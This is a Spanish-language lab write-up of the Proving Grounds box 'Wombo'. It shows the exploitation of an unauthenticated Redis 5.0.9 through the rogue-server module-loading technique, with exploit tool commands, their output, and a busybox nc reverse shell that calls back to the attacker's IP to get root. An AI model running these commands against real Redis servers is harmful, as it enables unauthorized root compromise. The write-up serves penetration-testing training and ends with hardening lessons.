the_open_door
café
ESEN

Wombo

Proving Grounds PracticeFácilLinux192.168.121.69

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#redis#redis-rogue-server#unauthenticated#module-loading#rce#slaveof#oscp
TL;DR. Wombo expone un Redis 5.0.9 sin autenticación en el puerto 6379. Con la técnica del rogue server forzamos a Redis a replicar desde nuestro servidor malicioso y cargar un módulo .so que nos da ejecución de comandos (Redis rogue server RCE). Como el servicio corre como root, la shell resultante ya es de root: caja de un solo salto.

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. El barrido devuelve cinco puertos:

ping -c 1 192.168.121.69
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.121.69
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
6379/tcp  open  redis
8080/tcp  open  http
27017/tcp open  mongodb
nmap -p22,80,6379,8080,27017 -sCV 192.168.121.69 -oN targetedScan
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
80/tcp    open  http    nginx 1.10.3
6379/tcp  open  redis   Redis key-value store 5.0.9
8080/tcp  open  http    NodeBB (http-proxy)
27017/tcp open  mongodb MongoDB 4.0.18 - 5.0

El 80 es la página de bienvenida de nginx, el 8080 un foro NodeBB y el 27017 un MongoDB que exige autenticación (command listDatabases requires authentication). Todos son ruido frente al 6379: un Redis que responde sin pedir credenciales.

Redis - TCP 6379

Redis es un almacén clave-valor en memoria. Por diseño no está pensado para exponerse a Internet y, en las versiones que soportan módulos (>= 4.0), un cliente sin autenticar puede cargar código nativo. La 5.0.9 lo permite, así que el vector está servido.

Explotación

Redis rogue server RCE

La técnica del rogue server abusa de la replicación de Redis: le enviamos SLAVEOF apuntándolo a un servidor Redis que controlamos, le hacemos sincronizar un módulo .so malicioso como si fuera un fichero de datos y luego MODULE LOAD lo carga, añadiendo un comando que ejecuta órdenes del sistema (Redis rogue server RCE). El exploit de Ridter automatiza todo el baile con el módulo de n0b0dyCN:

git clone https://github.com/Ridter/redis-rce
cd redis-rce
wget https://github.com/n0b0dyCN/redis-rogue-server/raw/refs/heads/master/exp.so
python3 redis-rce.py -r 192.168.121.69 -p 6379 -L 192.168.45.176 -P 8080 -f exp.so

redis-rce fuerza el SLAVEOF, carga exp.so y abre una shell interactiva como root

[*] Connecting to  192.168.121.69:6379 ...
[*] Sending SLAVEOF command to server
[+] Accepted connection from 192.168.121.69:6379
[*] Setting filename
[*] Start listening on 192.168.45.176:8080
[*] Tring to run payload
[+] Accepted connection from 192.168.121.69:41933
[*] Closing rogue server ...
[+] What do u want ? [i]nteractive shell or [r]everse shell or [e]xit: i
[+] Interactive shell open , use "exit" to exit ...
$ whoami
root

El exploit ofrece una shell interactiva. whoami devuelve root: el servicio Redis corría con máximos privilegios, así que no hay pivote ni escalada, ya estamos donde queremos. Para trabajar con una shell estable la reenviamos con busybox nc:

Antes de disparar la shell, dejamos Penelope a la escucha en el 80:

penelope 80
busybox nc 192.168.45.176 80 -e bash

La reverse shell estabilizada confirma root@wombo

(Penelope)> listeners add -p 80
[+] Got reverse shell from wombo~192.168.121.69-Linux-x86_64  Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
root@wombo:/# whoami
root

Root

cat /root/proof.txt && whoami && ip a && hostname

proof.txt leída como root en wombo

2e9576afe639ebb63afe248e8290fda8
root

Cadena de ataque

Redis (6379)  --  sin autenticación, versión 5.0.9
        │  rogue server: SLAVEOF -> sincronizar exp.so -> MODULE LOAD
        │  ejecución de comandos como root
        ▼
root  (proof.txt)

Lecciones aprendidas

  • Redis expuesto sin contraseña es RCE. Desde la 4.0 se pueden cargar módulos, y la técnica del rogue server convierte un puerto 6379 abierto en ejecución de código nativo. Nunca debe estar accesible desde fuera de localhost sin requirepass y protected-mode.
  • El usuario del servicio marca hasta dónde llegas. Aquí Redis corría como root, así que la caja se resolvió en un paso. Ejecutar servicios con una cuenta dedicada y sin privilegios habría dejado la RCE en un simple punto de apoyo, no en root.
  • Muchos puertos, un solo camino. SSH, nginx, NodeBB y MongoDB eran distracciones; reconocer que el vector real era el Redis sin auth evitó perderse en el foro o en la base de datos protegida.
Cheatsheet de comandos 7 comandos

Repaso rápido